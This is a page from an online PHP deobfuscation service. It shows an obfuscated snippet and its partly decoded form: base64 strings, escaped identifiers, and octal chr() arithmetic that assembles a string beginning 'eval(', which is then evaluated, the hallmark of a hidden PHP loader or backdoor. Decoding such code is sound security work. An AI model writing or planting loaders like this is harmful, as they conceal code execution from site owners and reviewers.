Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

class _{ private static$_; static function _($_){if(!self::$_):self::_();endif;retur..

Decoded Output download

<?  class _{ 
		private static$_; 
		static function _($_){if(!self::$_):self::_();endif;return BASE64_DecOdE(self::$_[$_]);} 
 
		private static function _(){ 
			self::$_=array( 
			"_"=>"YzY0ZmU5M2I4NzVlZjVjY2Q=", 
			"_"=>"", 
			"_"=>"ZGZndmNiY3ZiY3ZiY3Zi", 
			"_"=>"ZGZndmNiY3ZiY3ZiY3Zi",); 
			} 
	} 
	define(_::_("_"),_::_("_")); 
	define(_::_("_"),chr(-0717-0744-0442- -02472).chr(-0335- -0162- -0341).chr((int)round(32.333333333333+32.333333333333+32.333333333333)).chr(0644- -0340+-0373+-0435).chr((int)round(20+20)).chr(-0501+0616- -032).chr(-0262+-0271+0745).chr(01112-0725).chr(-0254+01632-0523-0455).chr(01130+-0765).chr(-0132-0506-0424- -01443).chr(0517+-01125+0563).chr((int)round(56+56)).chr((int)round(28.5+28.5+28.5+28.5)).chr(0167+-022).chr((int)round(38.333333333333+38.333333333333+38.333333333333)).chr((int)round(28.75+28.75+28.75+28.75)).chr(-011+061).chr(-0352+01024-0310).chr((int)round(24.25+24.25+24.25+24.25)).chr(0207+-024).chr(-0310-0512- -01167).chr((int)round(13.5+13.5+13.5+13.5)).chr((int)round(17.333333333333+17.333333333333+17.333333333333)).chr((int)round(23.75+23.75+23.75+23.75)).chr(01312+-0752- -0223+-0417).chr(-0210+034- -0330-07).chr((int)round(24.75+24.75+24.75+24.75)).chr(0150-0165+0174).chr((int)round(33.333333333333+33.333333333333+33.333333333333)).chr((int)round(50.5+50.5)).chr(-0260-013- -0343).chr((int)round(24.75+24.75+24.75+24.75)).chr(076+-010).chr((int)round(13+13+13+13)).chr(01000- -0431- -0401-01664).chr((int)round(50.5+50.5)).chr(017+0103+-031).chr((int)round(25.5+25.5)).chr(-0407+-0521-0471- -01763).chr((int)round(28+28)).chr(-0133- -0222).chr((int)round(13.25+13.25+13.25+13.25)).chr(0362+0356-0573).chr((int)round(25.5+25.5+25.5+25.5)).chr((int)round(26.5+26.5)).chr((int)round(24.75+24.75+24.75+24.75)).chr(-01057+01452+-0670+0440).chr((int)round(50+50)).chr(-047+0120).chr(0436- -0325-0712).chr(072- -0231+-0252).chr(0157-0131+045)); 
	eval(constant(_::_("_"))); ?>

Did this file decode correctly?

Original Code

class _{
		private static$_;
		static function _($_){if(!self::$_):self::_();endif;return BASE64_DecOdE(self::$_[$_]);}

		private static function _(){
			self::$_=array(
			"_\303"=>"YzY0Z\155U5M2I\064NzVlZ\152V\152Y2Q=",
			"_\xac"=>"",
			"\x5f\335\x94"=>"ZG\x5andmNi\1313ZiY\063ZiY3Zi",
			"_\xb2\xc4\xa5"=>"Z\x47\x5andmN\x69Y3Z\151Y\063ZiY3Z\151",);
			}
	}
	define(_::_("_\267"),_::_("_"));
	define(_::_("_\x99"),chr(-0717-0744-0442- -02472).chr(-0335- -0162- -0341).chr((int)round(32.333333333333+32.333333333333+32.333333333333)).chr(0644- -0340+-0373+-0435).chr((int)round(20+20)).chr(-0501+0616- -032).chr(-0262+-0271+0745).chr(01112-0725).chr(-0254+01632-0523-0455).chr(01130+-0765).chr(-0132-0506-0424- -01443).chr(0517+-01125+0563).chr((int)round(56+56)).chr((int)round(28.5+28.5+28.5+28.5)).chr(0167+-022).chr((int)round(38.333333333333+38.333333333333+38.333333333333)).chr((int)round(28.75+28.75+28.75+28.75)).chr(-011+061).chr(-0352+01024-0310).chr((int)round(24.25+24.25+24.25+24.25)).chr(0207+-024).chr(-0310-0512- -01167).chr((int)round(13.5+13.5+13.5+13.5)).chr((int)round(17.333333333333+17.333333333333+17.333333333333)).chr((int)round(23.75+23.75+23.75+23.75)).chr(01312+-0752- -0223+-0417).chr(-0210+034- -0330-07).chr((int)round(24.75+24.75+24.75+24.75)).chr(0150-0165+0174).chr((int)round(33.333333333333+33.333333333333+33.333333333333)).chr((int)round(50.5+50.5)).chr(-0260-013- -0343).chr((int)round(24.75+24.75+24.75+24.75)).chr(076+-010).chr((int)round(13+13+13+13)).chr(01000- -0431- -0401-01664).chr((int)round(50.5+50.5)).chr(017+0103+-031).chr((int)round(25.5+25.5)).chr(-0407+-0521-0471- -01763).chr((int)round(28+28)).chr(-0133- -0222).chr((int)round(13.25+13.25+13.25+13.25)).chr(0362+0356-0573).chr((int)round(25.5+25.5+25.5+25.5)).chr((int)round(26.5+26.5)).chr((int)round(24.75+24.75+24.75+24.75)).chr(-01057+01452+-0670+0440).chr((int)round(50+50)).chr(-047+0120).chr(0436- -0325-0712).chr(072- -0231+-0252).chr(0157-0131+045));
	eval(constant(_::_("_\311\335")));

Function Calls

None

Variables

None

Stats

MD5 dd377a5502624ac59e5036fe10e60e92
Eval Count 0
Decode Time 52 ms